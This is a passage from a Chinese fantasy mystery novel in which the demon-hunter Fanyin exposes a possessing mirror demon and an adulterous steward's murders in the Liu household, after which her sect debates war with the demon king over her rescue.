空荡荡的墙上仅挂着字画,桌上仅有一副棋盘。窗台下的梳妆台上竟没有多少妆匣首饰,但有一个菱花铜镜被日光照射得闪闪发光。
阿琳眼睛瞪得大大的,一个疾步冲到梳妆台,尖叫道:“早上还好好的,梨花镜怎的碎了?!”
梵音眼神一转,打开梳妆台的抽屉探寻一番后,问道:“我未看到口红纸?”
她弯下腰,仔细地查看四周。
阿琳闻言哭道:“从花园回来之后,小姐难得想要梳妆打扮一番,可化完妆后小姐仍嫌弃太过艳丽,又给擦掉了。
她说看我一直很心疼之前送出去的口红纸,便将余下的口红纸给了我。”说罢阿琳蹲在地上,双手捂住脸,肩膀不停地抽动。
梵音眼神带着几分试探问道:“所以,柳小姐半年前的风寒是确有其事吗?”
就在她问话的瞬间,窗外一道黑影倏地一闪而过,伴随着一阵阴森的冷笑。
阿琳擦拭了眼泪,愤愤回道:“当然是真的!半年前三夫人和小姐不受宠,处处受人欺凌。“哪是什么失足跌入湖中,分明是小公子推她的!”
她越想越气,几近咬牙切齿道:“二夫人更是心狠手辣!怕小公子推人的事情败露,不许我去请大夫,还把我软禁在柴房。”
阿琳的话语中充满了怨恨,一阵冷风从窗户缝里钻进来,带着一股腐臭的气息,吹得人脊背阵阵发凉。
梵音可以想象得出来当时柳诗音的孤立无援和痛苦。
家人,本该是最亲近之人。可她却死于最安全的家。她不禁浑身起了一层鸡皮疙瘩,这与她的猜测越发不谋而合。
“桃源居的草麝香也是柳小姐所种的吗?”
阿琳闻言猛地站起身,身体向后退了几步,“你怎会知晓?”
“啊!阿银……”
尖叫声再次打破柳家府的宁静,犹如恶鬼在嘶吼。梵音神色闪过一丝疑惑,心里暗道:“怎么会?不该啊....”
循着尖叫声拐到浆洗房,竟是阿银吊死在浆洗房!她的身体在风中晃悠着,如同一个破碎的木偶。
8. 奸情
阿银手中捏着梵音给的素色手帕,上面写着:“奴婢照顾小公子不当,致使小公子殒命。奴婢悔不当初,只能以死回报小公子之恩。”
那字迹歪歪扭扭,血迹斑斑,仿佛是在极度痛苦和恐惧的情况下写出来的。
其余一行人陆陆续续赶到现场,柳老爷叹了口气:“难得这阿银如此忠心耿耿。管家,安排妥当阿银的葬礼,给些银两安抚其家人吧。”他无奈地摇了摇头,双手背在身后。
梵音眸色中隐隐涌起风雷之气,薄唇轻抿,冷冷道:“柳大人,依我看,阿银似乎并非自杀。”她万万没想到凶手竟敢顶风作案。
众人听闻梵音的判断,皆是一愣,一日之内连死两人,且皆为他杀!
一股无形的恐惧如潮水般淹没了在场的每一个人,仿佛置身于阿鼻地狱。
柳大人眉头紧锁,来回踱步。
“为何如此判断?仵作都还未验尸。”
梵音凌厉之气瞬间消失,又恢复了月白风清的样子,指着阿银的脖颈处:“你们看,阿银的颈部并非只有一条索沟,而是有两条索沟。
自杀往往只有一道索沟,而两条索沟更偏向于是被人勒死所致。”
场面顿时阴风阵阵,吹得人心头寒意愈发浓重,仿佛能将人的血液都冻成冰碴。
“此人所言有理。雷光城仵作柳光前来验尸,闲杂人等一律后退。”
柳光从后方匆匆赶来,头上顶着白色头巾,手里还套着布料手套。那白色头巾在风中飘动,仿佛是招魂的幡。
柳大人颔首点头,“先让柳光勘验尸体,我们先至前厅等候结果。”
他挥了挥手,转身向前厅走去。众人离开浆洗房时,总觉得有一双看不见的手在拼命拉扯着他们的衣角,仿佛要将他们永远留在这恐怖的地方。
一行人皆坐于柳家府大厅,面色沉重如铅。大厅内烛光摇曳不定,那光影交错之间,好似有无数阴魂在张牙舞爪。
一个纸鸽从众人视线中飞至梵音手上,打破了僵局。
梵音拆开纸鸽看了看,心下了然,对于本案的情况已有答案,但还需要仵作的勘验结果。
一个时辰后,仵作柳光匆匆赶至大厅。
大厅里的气氛压抑到了极点,仿佛一座无形的牢笼,将所有人的希望与理智一点点吞噬。
柳大人心急如焚地开口道:“快说勘验结果。”
仵作柳光神色凝重,“柳小姐确实并非死于火灾,而是病死。”
此言一出,在场所有人皆如遭雷击,惊得呆若木鸡。唯有梵音一副波澜不惊的淡定模样,看来她猜测的不错。
众人一脸难以置信。
“怎么可能?”
柳老爷瞬间面如死灰,喃喃自语。
“小女并未有任何隐疾啊!”
柳师爷补充道:“大人,勘验现场后发现,是窗台下的烛火燃起,而大白天无需点灯。
若小姐是突发疾病,那肯定是因为有人蓄意点火导致的无法呼救,本案就是谋杀案”
三夫人哭着嗓子,“我家诗音死得好惨,必须要查出是谁放的火!”
她那恶狠狠的眼神死死盯着柳莺,仿佛要将其生吞活剥,显然已认定是柳莺所为。
柳管家在一旁解释:“三夫人冷静啊,大小姐下午一直与我在城东的小店清点账单,一直没有离开过。我们是看到起火了才一同赶回家的啊。”
柳大人拂了拂袖:“柳诗音的死亡时间可知道?还有婢女阿银是自缢还是?”
柳光回道:“柳诗音的死亡时辰大约是今日申时。
阿银是他杀,死亡时辰是昨夜辰时左右。
正如仙人所言,应是他人背对背的姿势将阿银勒死,其指甲缝隙有他人的皮屑。”
柳大人强打精神发话,将所有人都挨个询问,询问辰时、申时各自的不在场证据。
一轮询盘下来,竟是所有人都有看似无懈可击的不在场证据,且身上皆无半点伤痕。
柳师爷惶恐地看了一眼梵音后,问道:“仙人,此事太过蹊跷,可有什么头绪吗?”
梵音缓步上前,欠身为礼,正色道:“禀报大人,本案我已有想法。真相,就藏于七情六欲之中。”
片刻后,柳大人对柳老爷说道:“衙门暂无存放尸首之地。暂借地窖冰冻存放一夜,明日再来将尸首搬走可否?”
柳老爷闻言老泪纵横,叹气道:“也罢也罢。”
戌时。
柳家府夜黑得伸手不见五指,狂风呼啸如恶魔的咆哮。
黝黑阴冷的地窖门口突然缓缓打开,残冷的月光下,有一人鬼鬼祟祟地潜入其中,用布条将一具尸体背在身上,企图神不知鬼不觉地搬走尸体!
正当此人自以为得计欲起身之时,十几把火把瞬间将其照得如同白昼般清晰。那火光在黑暗中跳跃,仿佛是审判的圣火。
柳老爷看清人脸后,“柳七?!”
柳七脸色惨白如纸,死死抱着尸首,不顾一切地妄图冲出重围。
梵音一个身轻如燕的蜻蜓点水跃向柳七,手指符箓金光四射。
“定身术。”
梵音将柳七扛着的尸首放下,解开布条,一股令人作呕的腥臭之味瞬间弥漫开来,众人齐齐掩住口鼻。
只见本来烧得面目全非的柳小姐尸首早已腐化成泥,甚至有蛆虫在肆无忌惮地蠕动。那蛆虫在火光的映照下,显得格外狰狞恐怖。
柳光瞠目结舌,呆立当场:“区区一个时辰,更别提将尸体存放于冰窖之中,怎么可能腐化到这种地步。”
“这....”
柳师爷战战兢兢地擦了擦额间不断冒出的冷汗,双手不自觉地颤抖着,冲着梵音急切道:“仙人,如今已捉到嫌犯,可否为我们解惑?”
梵音神色肃穆,目光扫过在场众人,缓缓说道:“真正的柳小姐应当是半年前就已然病死了。”
柳老爷难以置信地吼道:“怎会?我们与小女相处半年之久,这怎么可能?”他的身体摇晃了几下,仿佛随时都会倒下。
一旁扶着三夫人的阿琳身体猛地一颤,双唇紧闭,眼神中透露出恐惧和犹豫,不再言语。
梵音语气沉重,仿佛每一个字都有千钧之重:“一切得从半年前的柳小姐跌入花园的湖中说起。
那时候柳小姐因不受宠,被小公子无情地推倒进湖,竟无人助她一臂之力!
当时湖水冰冷刺骨,柳小姐在湖中拼命挣扎呼救,可周围的人都冷漠地看着,没有一个人伸出援手……”
柳老爷怒目圆瞪
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,眼睛里布满了血丝,怒斥阿琳道:“你身为小姐的婢女,要你何用?”
阿琳眼中闪过一丝无法遏制的恨意,牙齿咬得咯咯作响,咬牙切齿地说:“是我不想吗?是我不能!半年前我想下去扶小姐,可是!小公子让人拦着我,硬生生让小姐自己从泥潭中艰难爬出。
后来小姐重病在床,我去求二夫人请大夫,她却对我又打又骂,将我赶了出来,还将我囚禁在柴房!”
梵音接着说道:“那时候阿琳前去请大夫,只是内院为二夫人掌控。
二夫人怕被柳老爷知道此事,硬生生将阿琳软禁。任由柳小姐自生自灭。
只怕那时候柳小姐便已香消玉殒,而镜妖趁机附身。”
柳老爷颤抖着问:“怎会....那和我们相处半年的究竟又是何人?”
梵音长叹一口气,缓缓道:“与你们相处半年之久的是——镜妖。
镜妖乃是妖力甚微的小妖,仅附身于镜子,一旦出镜便意味着死期将至。它附身柳小姐,本是为了寻仇。”
镜妖发出一阵令人毛骨悚然的桀桀怪笑,冲一旁吐血的柳老爷恶狠狠骂道:“你个老匹夫。事到如今你哭又有何用?
你可知那夜,诗音因风寒之症痛苦到从床榻之上滚落到地上,临死前双眼圆瞪,只余两行清泪之时,你在做什么?你在和你的二夫人饮酒作乐,谈笑风生!
你根本不配为人父!”
柳老爷此时像是被抽走了生命的枯草一般,眼神迷离又失措,瘫倒在地喃喃自语:“我错了,我错了......”
梵音神色凝重,继续说道:“镜妖因妖力弱小,故附身之后需要保持人身体的常温。
故利用了桃源居一事,引渡雷光城的温泉水每日活血化淤。
并提出可以给个机会让望夫光声名大噪,但需要他引诱二夫人。”
望夫光此时惊慌失措地喊道:“没有的事,你莫要空口无凭说假话!我是被冤枉的!”
梵音冷冷地继续道:“二夫人是死于你屋内的口红纸,里面掺了妖毒!还敢说不是你!”
望夫光一怔,声嘶力竭地大声嚷嚷,“你胡说八道什么!口红纸是柳诗音给我的,我并没有下毒害她!”
这话一出,所有人都心知肚明。
梵音冷笑一声,点点头。“毒,确实不是你下的。”
她厉声继续道:“诈一下你罢了。我让师兄调查木匣里的口红纸所藏之毒,查出是水美人毒,此毒需搭配复美人毒才会生效,死状与溺死一般。
望府存放的木匣之中乃是水美人毒,放置在二夫人屋内的则是复美人毒。
二夫人两样毒物皆沾染在身,这才毒发身亡。”
柳师爷问道:“你的师兄可是举世闻名的神农后代——伏御?”
梵音没想到柳师爷竟对定律司如此了如指掌,怔愣片刻后点了点头。
柳师爷颇有几分仰慕,说道:“我一直知道伏御神医可谓是精通世间所有的毒药和解药,但万万没想到妖界的毒药也如此了然于胸。难怪仵作无法勘验出毒性啊!”
柳老爷和望夫光的脸色刹那间变得如同锅底一般黑沉,两人面如死灰,再也说不出话来。
“你这妖孽,杀了柳二夫人和小公子,纳命来!”
9. 真相
柳管家仿若被恶鬼附身,刹那间从怀中抽出一把冷冽锋芒的利刃,声嘶力竭地狂吼着,不顾一切地朝着镜妖猛扑过去,那模样好似要将镜妖碎尸万段。
梵音施展置换诀,瞬间让镜妖与自己互换位置,正欲制住柳管家时,一旁的柳成竟如脱缰野马般猛地冲了出来,将柳管家狠狠撞倒在地!
梵音迅速拉起柳成,紧接着抬腿踢出一记迅猛凌厉的飞腿,柳管家手中的刀瞬间被踢飞。而后,她一脚稳稳地踩住柳管家的后背,怒声喝道:“休要乱动!”
她瞧了一眼呆若木鸡的柳成,以为他被吓得失了魂,轻声关切道:“你可安好?”
柳成神情木然道:“无碍....”
梵音轻叹一声道:“往后若遇此等险境,切勿贸然行动,要信我能妥善处置。”
柳成默默点了点头。一旁的阿琳却不管不顾地张开双臂,犹如护雏的老母鸡一般,坚定地将镜妖护在身后。
柳老爷见状,怒不可遏,大声斥骂道:“你这不知死活的东西,护着一个妖作甚?”
阿琳泪如泉涌,悲声泣道:“即便她是妖!可她帮了雷光城的贫民百姓,也替小姐报了仇啊!”
三夫人一把抄起地上的刀,声音因愤怒而颤抖不止:“先前我未能护住诗音。如今,我断不会再退缩!”
梵音无奈地长叹一声,挥手示意衙役将柳管家五花大绑起来。
她目光犹如闪电,紧盯着镜妖缓缓说道:“你难道不解释一番?明明小公子并非你所杀。”
众人听闻此言,皆惊得瞠目结舌。镜妖却仰天狂笑:“你怎就知晓不是我杀的?”
柳管家拼命挣扎,声嘶力竭地咆哮道:“妖既然已经承认是她所为,你还愣着干嘛!”
“啪、啪!”
梵音抬手就给了柳管家两个清脆响亮的耳光。她目光如剑,语气傲气森森:“荒唐至极!
你当我看不出你企图杀镜妖灭口,将所有罪责都推到她身上?
不管是人是妖,只要犯了罪,就必须接受律法的惩处,为自己的罪行付出代价!”
梵音的这两个耳光和这番义正言辞的话语,让在场众人都惊得呆若木鸡。
她深深地看了柳管家一眼,目光放远:“这两起案件,一个死于妖界的毒物,一个死于溺亡。
二夫人这一案,作案之人显然是精心筹谋,可为何小公子这一案看起来如此仓促?
更别提精心设计的毒杀,却因小公子的死亡导致挖心之事被发现。这其中的蹊跷,耐人寻味。”
“我曾下水勘验过池塘,那池塘中黑土肥沃,水草丰茂。
但小公子的肺部却不见水草,虽为溺死,由此可推断并非死于湖中。
而真正让我洞悉真相的,正是阿银的死。”
众人齐声问道:“这究竟是怎么一回事?”
梵音唇角轻挑,冷冷道:“我原以为柳管家与三夫人有奸情,实则真正有奸情的是柳管家与大夫人。”
大夫人尖声叫骂道:“你在信口雌黄,胡言乱语!”
柳管家也气急败坏地反驳道:“我与大夫人清清白白,毫无瓜葛,你莫要在此信口开河,污蔑于我!”
梵音毫不留情道:“柳管家用上好丝绸制成的手帕之时,我便心生疑窦,一个管家怎会用如此珍贵的布料?
后来得知三夫人最喜爱紫色丝绸的布料做衣裳,起初我还以为这手帕是三夫人给的。”
她猛地伸手从柳管家怀中掏出紫色丝绸手帕,展开手帕上的织纹。
“太阳。好!好得很啊!”
柳老爷发出一声凄厉至极的怒喝。
梵音长叹一口气,从柳光手中接过阿银的遗书,轻轻触碰右下角的红点,那红色血迹蔓延开来,竟呈现出一幅宛如骄阳的图案。
柳师爷眉头紧皱,喃喃低语道:“柳月。日月相伴。”
梵音重重地点了点头,眸中毫无笑意:“正是如此。恐怕是小公子夜里寻二夫人之时,不巧撞见这不可告人的奸情。
然小公子想必未曾看清,否则怎会毫无防备地收下方糖。
镜妖都没有朝稚子下手,你们身为人类当真丧心病狂,为了掩盖奸情,竟对一个稚子下此毒手。”
她目光微微一凝,叹口气道:“阿银曾提及他那日如厕后心情愉悦许多。
想必那时你在路上给了他方糖,并诱他去伙房等候,将其溺亡于伙房的铁缸之中。”
柳师爷闻此,不禁目瞪口呆,惊问道:“可柳管家有不在场的证据,身上亦无伤痕啊!”
柳管家冷哼一声,撇嘴道:“正是!空口无凭!证据何在?”
梵音镇定自若道:“证据?自然是有的!
可遣衙役去伙房查看那铁缸,铁缸的死角处留有小公子的抓痕,
此乃小公子指甲缝刮下的铁粉,比对一番便知。”
随后猛地将柳管家的衣袖撸起,用力狠狠擦拭了一下,一道凝胶制成的人皮瞬间脱落,抓痕清晰显现。
“人皮?”
众人嘴巴大张,满脸的难以置信。
梵音甩了甩手,一字一句道:“没错。
清晨我便听闻伙夫叹气,说最近鼠患猖獗猪皮被偷吃了。
我问询之后方知,两起命案皆发生过猪皮遗失之事。”
一旁的伙夫忙不迭点头,“确有此事!
前后两次购置皆是因大夫人吩咐欲食猪皮冻,但不知怎的都不见了。
我向柳管家呈报此事,柳管家称可能是被老鼠所食,而后便不再追查了。”
勘验完毕之后的衙役匆匆奔回,一边大口喘着粗气,一边高声回道:“铁缸靠墙一处确有小公子的抓痕,与尸体指甲处的材质毫无差别!”
柳老爷气得双目通红,快步上前,扬起手掌狠狠扇了大夫人一记耳光,悲愤交加地怒吼道:“我对你不薄,你却与一个下人私通!” 他的身躯因愤怒而颤抖不止。
柳月捂着脸,绝望癫狂地放声大笑,发丝凌乱不堪。
“哈哈哈,待我不薄?
若不是起初我家倾尽全力资助,何来如今这般家业?
你倒好,生意刚有起色便开始纳妾。更为过分的是,竟让一个小妾与我同住东房,你这分明是将我往绝路上逼啊!” 她的手指直直指向柳老爷,眼眸中满是仇怨。
柳老爷气得浑身颤抖,牙齿咬得咯咯作响,愤恨咆哮:“怪只怪你生不出儿子!” 他五官扭曲,神情狰狞可怖。<
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柳月笑得在地上翻滚,涕泗横流:“儿子?你眼中唯有那个不成器的纨绔之子。
莺儿除却身为女子之外,论及做生意还是学识,哪一点逊于你那败家儿子?”
柳老爷脸色阴晴不定,怒目圆睁,再次扬起手欲给柳月一巴掌时,柳管家毫不犹豫地冲上前去,张开双臂护住柳月。
柳月却满脸嫌恶,狠狠一把推开柳管家,声嘶力竭地吼道:“莫碰我!我先前不过是想让你多教导莺儿如何经商罢了。”
柳管家一脸痴迷,喃喃自语道:“无妨,一切皆是我心甘情愿,即便你如此待我……”
梵音叹了口气将目光投向那几人,目光中满是如水般的温情,缓缓且轻柔地说道:“你们一早便知她并非柳诗音了吧?”
阿琳瞬间泪如雨下,泣不成声,泪水肆意流淌,她抽噎着道:“第一日便察觉了。
小姐向来不食豆腐羹,食之浑身会瘙痒难耐。” 她边说边以衣袖慌乱地擦拭着不断涌出的泪水,那衣袖早已被泪水浸湿。
柳诗雨声音颤抖得厉害,深情款款又满含痛苦地道:“知女莫若母。我又怎会毫无察觉呢?” 她的身躯微微颤抖着,双手紧紧攥住衣角,指节都因用力而泛白。
镜妖泪如泉涌,哭得声嘶力竭,声音哽咽得几乎说不出话来:“既然知晓我并非她,为何还对我这般好?”
柳诗雨轻轻搂住镜妖,“傻孩子....这世上哪有那么多为什么。”
梵音缓缓走向镜妖,她深深地长叹一声:“她的妖力所剩无几,我就不将她收入锁妖塔了。
你们若愿意,可与她一同前往桃源居走走,那里有她为诗音种下的草麝香。”
说罢,她伸出修长的手指,轻轻揭开镜妖额上的定身符,压低声音问道:“草麝香下是妖昙土,所以你才需用带有妖气的温泉水滋养,对吧?”
镜妖朝梵音重重地点了点头,那眼中满是感激与无奈。
一旁柳莺呆愣地看着几个人的背影,眼神中满是疑惑与期许,问道:“草麝香的寓意是?”
梵音忆起纸鸽中掌门所给的答案,缓声道:“黄色草麝香——无望的爱情。”
柳莺怔愣片刻,喃喃自语道:“无望……的爱情啊……”
言毕,她面带犹豫,眉头紧蹙,眼中透着迷茫与纠结问道:“仙人,您觉得我该如何面对我娘?”
梵音愣了几秒,随后目光坚定地回道:“诚然她犯下不可饶恕之事,律法自会惩罚她。
但她对你的爱乃真心实意,毫无半分虚假。
我相信她要你掌握柳府生意,是希望你不要被困于这小小后院,能自由自在地翱翔于广阔天地。”
柳莺一愣,泪水潸然而落,颗颗泪珠如断了线的珍珠。“是啊……我深知自己是这一切灾难的源头,我会陪我娘亲一起赎罪的。” 她低垂头颅,双手捂住面庞,泪水自指缝间汹涌滑落,打湿了身前的一片土地。
清晨的阳光奋力穿透了厚重的云层,温柔地洒在大地上,每一寸角落都被这温暖的光芒所眷顾。
暖风轻柔肆意地吹拂着,原本被阴影笼罩的角落也逐渐明亮起来,仿佛黑暗正在被光明一点点驱散,世间的阴霾即将消散,希望即将降临。
10. 阴谋
初冬之际,往年的定律司寂静如水。可如今,好似平静的湖面被投入巨石,喧嚣纷扰瞬间涌起。人来人往,乱作没头苍蝇般的一团。
“掌门,三思啊!
浮师尊还在闭关,如今之际不能与妖族开战啊!如今局势未明,我们贸然开战,只怕会中了妖族的奸计,让定律司陷入万劫不复之地啊!”
水长老心急如焚,额头上青筋暴起,他一边说着,一边急匆匆地冲到掌门面前,眼中满是忧虑与急切。
掌门脸色铁青,宛如被寒霜覆盖,他猛地打断水长老的发言,怒喝道:“水长老,此事无需再说。前有沈观那逆贼灭族叛逃成妖王,而今首席弟子又被囚禁,我们怎能再忍?
若此时不战,天下人定会耻笑定律司胆小怕事,岂敢再说我们定律司是斩妖除魔、断案伸张正义之地?!”
他的声音在空荡荡的大堂中回荡,震得众人心中一颤。
其余四位长老听闻,脸色瞬间一沉。前有捉妖世族那棘手的案子尚未解决,若此时不营救首席弟子,定律司的百年名声必将毁于一旦。
火长老气得满脸通红,双目圆睁:“沈观这王八羔子,丧尽天良,灭族叛逃还敢称王!我呸!我请战带人围剿定律司那些余孽!定要将他们一网打尽,以正视听!”
他双手握拳,在空中用力一挥,仿佛要将那可恶的叛徒一拳击碎。窗外的树枝被狂风吹得嘎吱作响,似乎也在为这紧张的气氛增添不安。
土长老微微皱眉,眸光幽幽闪了一下:“掌门,火长老莫急。掌门所言在理,但对付一个小兔崽子确实不需要长老亲自出手。
倘若我们贸然行动,传出去定会被说成以大欺小,于定律司的名声也不好听啊。”他捋了捋胡须,目光中透着深思。
金长老依旧笑眯眯的,但眼神中却多了几分严肃,低声提醒道:“土长老说得不错。梵音原是调查柳家府一案,破了此案属于有功。但又因私情前往妖族之地,这又该罚。
更何况,对于一个初出茅庐的小孩,我们若是全军出动,定会让外人看了笑话,说我们定律司小题大做,没有分寸。”
掌门脸色稍好,眼神缓缓扫过木长老,木长老则摊摊手,轻轻摇了摇头,表示自己无任何意见。
“叩、叩、叩!”
掌门书房门外传来伏御沉稳而坚定的声音,“掌门,五位长老。伏御身为大师兄,自请带队前往妖族之地援救梵音师妹。”
此时,天空中划过一道闪电,紧接着是一阵沉闷的雷声。
掌门的声音中带着一丝期待:“进!”
“伏御拜见掌门及五位长老。”
伏御恭恭敬敬地走进书房,他身姿挺拔,眼神坚定,向着众人行礼,“掌门,各位长老,梵音师妹身陷险境,我愿领一队人马前往妖族之地,定将师妹平安带回。”
掌门看见伏御后,脸色好转不少,拍了拍伏御的肩膀,“伏御,你一直以来都是定律司最坚韧的顶梁柱。你愿意前往妖族之地救梵音,那是再好不过了!我相信你定能不辱使命。”
五位长老闻言,都笑呵呵地点头,眼中满是信任与期待。
“此乃我的职责所在,多谢掌门及五位长老的信任。我定会全力以赴,哪怕前方艰难险阻,我也一定会将梵音带回定律司的!”他挺直脊梁,目光中闪烁着无畏的光芒。
伏御一行人肃穆地站在妖族之地的边境线,边境线另外一边,众妖云集,乌压压一片,声势浩大,仿佛一片汹涌的黑色海洋。
不少捉妖师望着那密密麻麻的妖群,身体忍不住哆嗦起来。他们脸色煞白,嘴唇颤抖,眼中满是惊恐。
其中一人声音颤抖地说道:“不是说只是营救师姐吗?为什么如今感觉像人妖两界要开战一般?”
伏御抬眼安抚了人群,挺直身板,如同一棵苍劲的青松,立于人群之首。他深吸一口气,眉头紧皱,目光坚定,捏诀喊话道:“沈观!念在我们曾经师兄弟一场的情分上,将梵音归还我们!否则,今日我们必将铲除妖族!”
分界线的众妖听闻伏御的喊话,齐齐发出震耳欲聋的嘶吼,空气瞬间被厚重的妖气和刺耳的嘶吼声所充斥,令人几近窒息。
在这一行人之中,唯有寥寥几人面对万妖的嘶吼还能纹丝不动,伏御便是其中之一。他身姿挺拔,双手握拳,表情严肃,目光如炬。而其他几位镇定之人,有的紧闭双唇,一脸刚毅,有的微微仰头,神色凝重。
气氛越发焦灼,一侧的万妖早已蠢蠢欲动,那一双双充满杀意的眼睛,仿佛只待这一行人贸然冲进来,便要将他们全部撕成碎片。有的妖怪呲牙咧嘴,露出尖锐的獠牙,有的挥舞着锋利的爪子,跃跃欲试。
然而,一个人影缓缓浮空出现,慢慢飘向伏御一行人。伏御正准备出手之际,竟认出了梵音的身影。
正当他满心欢喜起身迎接之时,师弟一把拉住伏御,满脸担忧,额头冒出冷汗,急切地说道:“师兄,此事会不会有诈?”
众妖则是一脸不解,连嘶吼都暂时忘了,个个面面相觑,交头接耳。
伏御怔愣之际,裹住梵音的防护罩突然炸开。伏御面色一正,朗声道:“你们开启防护罩,我去探探真假!”
众妖看见炸开的防护罩之后,先是闭眼,随后一行人瞬间消散不见了,接着齐齐大声呼喊:“妖王威武!”有的妖怪高举双臂,兴奋地跳跃,有的则是得意地大笑。
另一边山底下,伏御一行人毫无征兆地兀然现身。
伏御看了一眼怀里的梵音,瞬间微微发愣,眼神中惊喜与疑惑交织,如同一团乱麻。
“师兄.... 我们没事啊...”
“这到底是怎么一回事啊....”众人你一言我一语,有的急得抓耳挠腮,像热锅上的蚂蚁;有的紧皱眉头,仿佛能夹死一只苍蝇,满脸皆是深深的困惑。
“咱们这是救回师姐了?”
“雪儿求我的。滚!”一个慵懒却带着狠戾的声音如同炸雷,骤然在众人的识海中响起。
“....”
大家瞬间噤若寒蝉,沉默不语,神情紧张得好似弓弦,随时都会绷断。师弟们脑子里只有一个想法:“不愧是沈观,梵师姐骂的登徒浪子还是保守了....”
伏御正沉浸在纷乱的思绪中,师弟满脸慌张地猛地一把拉住他,声音颤抖,带着深深的恐惧说道:“师兄,这一切发生得如此突然,太蹊跷了,会不会是个精心设计的阴谋?万一师姐她......”
师弟说到这儿,不敢再继续往下想,额头上豆大的汗珠如雨点般不断滚落,眼神中充满了无尽的不安和深深的担忧。
伏御被师弟这么一拉,猛地回过神来,他眉头紧锁蹲下身子,手指搭
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在梵音的脉搏上为其号脉,脉象显示梵音曾受过重伤但已几乎痊愈,并无大碍。
他放缓了语调徐徐道“师弟莫怕!看来是雪儿救了梵音。梵音如今能安然回到我们的身边,已是最好的结果。从这脉象来看,梵音虽受过重伤,但已有明显好转。”
师弟听了伏御的话,身体依然颤抖不止,如同筛糠一般,声音带着哭腔说道:“师兄,可是这一切太过诡异了,那沈观心狠手辣,无恶不作,如今他竟轻易放了师姐,怎么想都觉得不对劲啊!万一......”
伏御眉睫一跳,眸中闪过一道如刀锋般尖锐的亮光,冷冷道:“休要再说这些丧气话!雪儿的性子你们也知道,她向来嘴硬心软。我相信自己的判断,绝不会有诈!”
师弟被伏御的气势所镇住,一时间呆若木鸡,愣在原地,不敢再多言半句。
见他们这般形容,又有些心软,放缓了语调徐徐道:“师弟,我知道你是为大家的安危着想,身为定律司捉妖师怎可害怕妖呢?
捉妖师就是人类最后的一道抵御墙,若我们退缩了,世间岂不是生灵涂炭了?”
师弟低下头,声音细若蚊蝇地说道:“师兄,我...... 我只是害怕大家会遭遇不测。”
伏御拍了拍师弟的肩膀,语重心长地说:“放心吧,我定会保护大家周全!”
就在这时,周围的师兄弟们也都围了过来,个个神色惶恐,纷纷表达着自己的担忧和困惑。
伏御看着众人,大声吼道:“大家莫慌!我探测过了,附近无任何妖气。你们先施咒将梵音带回定律司,我为大家护法。都别慌!”
师弟再次开口,声音中满是焦虑:“可是,只剩师兄一个人的话,乾坤法无法施展啊。”
伏御微微一笑,神色从容地安抚道:“无碍。我刚好有一个附近的任务需要执行,执行完成后我自会御剑飞回去。”
“师兄...那我们怎么和掌门和五位长老说呢?”
伏御一脸正色,目光坚定,环视众人说道:“实话实说。
梵音前往妖族之地本就是为了救雪儿,目前沈观的做法对于救雪儿是有利的。”
大家纷纷点头,神情也逐渐放松下来,开始启动法阵准备回定律司。
伏御看着一行人成功消失后,捏诀在识海中发起对话:“梵雪?我知道你在,你是自愿跟沈观走的吗?”
四周一片死寂,没有任何回应。伏御的心一点点沉了下去,每一秒的沉默都像一把刀在他心上划过。
就在这时,伏御突然感觉到一股若有若无的神秘力量在干扰着他的识海,让他的思绪变得混乱。
“梵雪,回答我!梵音是他伤的吗?!”他几乎是在嘶吼,声音中充满了急切和愤怒。然而,除了自己粗重的呼吸声,什么也听不到。
时间仿佛凝固了,每一刻的等待都变成了无尽的折磨。伏御的双手紧紧握成拳头,指甲深深地嵌进了掌心,他却浑然不觉。
“为什么?为什么不回答我?”他的声音已经变得沙哑,眼神中满是绝望和难以置信。
良久,良久,依旧是死一般的沉寂。伏御的身体微微颤抖着,他长叹一口气,那叹息中饱含着深深的无奈和失落。
最终,他缓缓地放下了手,眼神变得空洞而迷茫。他提气御剑,那身影在风中显得如此孤独和凄凉。
11. 企图
清风悠然掠过竹林,片片竹叶摇曳生姿,萧萧之声不绝于耳。
掌门书房内,一方檀木几案静立,其上一尊紫铜麒麟香炉安然摆放,正缓缓地吐出如梦幻云纹般的缕缕香烟,缥缈迷离。
“叩、叩、叩!弟子伏御前来禀报。”
“进!”
伏御刚踏入书房,一股肃穆之气便如重锤般砸来。屋内光线昏暗阴沉,墙壁上挂着的一幅幅先代掌门画像,仿佛在审视着每一个进入此间的人。
掌门坐于首位,脸色严肃,目光如炬,双手自然地放在桌上,其余五位长老在桌子两侧排立,或交头接耳,或表情凝重。
“伏御,你可知本掌门今日唤你前来所为何事?”掌门声音沉稳有力。
伏御赶忙拱手,低头回道:“知道。事关救回梵音之事。”
掌门眉头微皱,说道:“听弟子们的报告,你们还没动手,那沈观就把梵音送回给你们了?”
伏御面色一白,颤声回道:“是!”
金长老坐在一旁,脸上挂着看似和善的笑容,眼神却透着精明,慢悠悠地说:“还很贴心将你们送到山脚下?这沈观的心思可不好猜啊。”
伏御额头冷汗直冒,赶忙回道:“弟子不知!”
火长老一下子蹦了起来,暴跳如雷地吼道:“奶奶的!沈观那小子肯定没安好心!都当上妖王了还把梵音毫发无伤送回给我们,这里面绝对有鬼!”
伏御急得满脸通红,大声辩驳道:“并不是!经我诊脉,梵音是受过重伤还在痊愈中,梵音绝对不是叛徒。”
金长老依旧笑着,双眼看着远方,口中却嘲弄道:“哎呀。小伏御,你可别被表象迷惑了。这事儿可没那么简单!”
伏御气得浑身发抖:“长老,您怎能如此揣测!”
掌门猛地一拂袖,大声喝道:“都给我安静!”
众人瞬间噤声。掌门目光坚定,义正言辞地开口道:“梵音的性子本掌门清楚,她随了浮师尊,嫉恶如仇。断然不可能背叛定律司!”
五位长老有的无奈摇头,有的暗自撇嘴,脸色各异,心里默默吐槽:“这掌门又在护短了。”
伏御行礼,如释重负道:“掌门英明。弟子先行告退。”
伏御从书房出来直奔梵音的寝居,屋子只有一张古朴厚重的檀木书桌,摆放着整齐的笔墨纸砚和几本微微泛黄的古籍,而床褥上只剩案件卷轴未见梵音。
门外正在清扫积冰的弟子看伏御在发呆便问道:“师兄?你是在找梵师姐吗?”
伏御点了点头,问道:“她是不是在后山修炼了?” 此时他的眉头微微皱起,眼中透着担忧。
弟子嘿嘿一笑挠了挠头:“原来师兄你知道啊。”
伏御微微一笑,整个定律司谁人能不知梵音对于修炼的痴迷呢?像是个武痴一般,没日没夜修炼。
一开始入司之时,无人在意梵音。捉妖界一向弱肉强食,美貌在生存之间不值一提。
真正让人关注到她的时候,梵音已经从练气期到筑基期了,并让浮师尊收留其为关门弟子。
定律司一向四季分明,后山之中,寒风呼啸,雪花纷飞。
“嘭!”
